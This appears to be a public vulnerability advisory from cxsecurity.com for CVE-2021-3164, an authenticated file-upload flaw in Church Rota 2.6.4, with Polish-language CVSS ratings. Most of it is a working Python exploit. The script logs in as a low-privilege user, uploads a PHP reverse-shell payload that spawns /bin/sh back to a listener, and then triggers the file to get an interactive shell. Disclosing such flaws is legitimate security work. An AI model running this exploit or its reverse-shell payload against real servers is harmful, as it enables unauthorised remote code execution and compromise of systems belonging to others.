Church Rota 2.6.4 Shell Upload

2021.01.20
Credit: Rob McCarthy
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


Ogólna skala CVSS: 6.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Jednorazowa
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

import requests from pwn import listen ############################################################################################################ # CVE-2021-3164 # Church Rota version 2.6.4 is vulnerable to authenticated remote code execution. # # The user does not need to have file upload permission in order to upload and execute an arbitrary file. # # The application is written primarily with PHP so we use PHP in our PoC # ############################################################################################################ # credentials of the low privilege user USERNAME='slixperi' PASSWORD='slixperi' LISTENER_IP = '127.0.0.1' LISTENER_PORT = '4444' TARGET_IP = '127.0.0.1' TARGET_PORT = '8081' # set the credentials for login POST credentials = {"username":USERNAME,"password":PASSWORD} # create a session to preserve session state sesh = requests.session() # login as our low-privilege user (normally only admins can upload files) sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/login.php", data=credentials) # define the payload payload = f"<?php $sock=fsockopen(\"{LISTENER_IP}\",{LISTENER_PORT});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>" # file upload sesh.headers.update({"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new"}) files = {'resourcefile': ("shell.php", payload)} sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent", files=files) l = listen(LISTENER_PORT) # execute the file sesh.get(f"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php") l.interactive()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top